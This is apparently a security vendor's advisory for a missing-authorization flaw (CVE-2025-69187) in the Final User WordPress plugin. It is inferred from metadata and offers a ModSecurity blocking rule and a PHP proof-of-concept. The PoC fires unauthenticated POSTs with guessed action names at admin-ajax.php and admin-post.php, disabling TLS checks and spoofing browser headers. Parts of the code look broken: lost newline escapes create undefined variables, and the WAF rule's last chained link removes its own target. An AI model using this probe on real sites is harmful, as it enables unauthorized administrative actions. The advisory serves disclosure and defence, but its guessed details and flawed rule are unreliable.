Atomic Edge analysis of CVE-2025-69187 (metadata-based):
The Final User WordPress plugin version 1.2.5 contains a missing authorization vulnerability. This flaw allows unauthenticated attackers to execute a privileged action intended only for authorized users. The vulnerability stems from an unprotected AJAX handler or admin endpoint.
Atomic Edge research indicates the root cause is a missing capability check on a WordPress hook. The plugin registers a function via add_action() for AJAX or admin-post processing without verifying the user’s permissions. The CWE-862 classification confirms the absence of authorization controls. This conclusion is inferred from the CWE and vulnerability description, as source code is unavailable for direct confirmation.
Exploitation involves sending a crafted HTTP request to the vulnerable endpoint. Attackers target /wp-admin/admin-ajax.php or /wp-admin/admin-post.php with an action parameter containing the plugin’s hook name. The payload consists of a POST request with action=final_user_{action_name} and any required parameters. No authentication cookies or nonces are required due to the missing authorization check.
Remediation requires adding a proper capability check before executing the sensitive function. The plugin should implement current_user_can() with an appropriate capability like ‘manage_options’ or a custom plugin capability. WordPress best practices also mandate nonce verification for state-changing operations, though the primary fix is the authorization check.
Successful exploitation permits unauthenticated attackers to perform unauthorized administrative actions. The CVSS vector indicates confidentiality is unaffected (C:N), integrity has low impact (I:L), and availability is unaffected (A:N). Attackers could modify plugin settings, delete user data, or trigger other destructive actions depending on the vulnerable function’s purpose.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2025-69187 (metadata-based)
# Blocks unauthenticated access to Final User plugin AJAX endpoints
# Rule matches the plugin's AJAX action parameter without proper authorization
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:100069187,phase:2,deny,status:403,chain,msg:'CVE-2025-69187: Final User plugin missing authorization via AJAX',severity:'CRITICAL',tag:'CVE-2025-69187',tag:'WordPress',tag:'Plugin',tag:'Final-User'"
SecRule ARGS_POST:action "@beginsWith final_user_"
"chain,t:none"
SecRule &REQUEST_COOKIES:wordpress_logged_in_* "@eq 0"
"t:none,ctl:ruleRemoveTargetById=100069187;ARGS_POST:action"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-69187 - Final User <= 1.2.5 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2025-69187
* Targets: WordPress Final User plugin <= 1.2.5
* Method: Unauthenticated AJAX action execution via missing capability check
* Note: Exact action name is inferred from plugin slug; actual exploitation
* requires identifying the specific vulnerable hook via enumeration.
*/
$target_url = 'http://vulnerable-wordpress-site.com';
// Common WordPress AJAX endpoints for plugin actions
$endpoints = [
'/wp-admin/admin-ajax.php',
'/wp-admin/admin-post.php'
];
// Potential action parameter values based on plugin slug 'final-user'
// These require enumeration in real testing
$potential_actions = [
'final_user_save_settings',
'final_user_update',
'final_user_delete',
'final_user_process',
'final_user_action',
'final_user_import',
'final_user_export'
];
foreach ($endpoints as $endpoint) {
foreach ($potential_actions as $action) {
$url = $target_url . $endpoint;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, ['action' => $action]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// Add headers to simulate legitimate WordPress request
$headers = [
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Accept: application/json, text/javascript, */*; q=0.01',
'Content-Type: application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With: XMLHttpRequest'
];
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Check for successful execution (not 403/404)
if ($http_code == 200 && !empty($response)) {
echo "[+] Potential vulnerable endpoint found: $urln";
echo "[+] Action parameter: $actionn";
echo "[+] Response: $responsenn";
}
}
}
?>
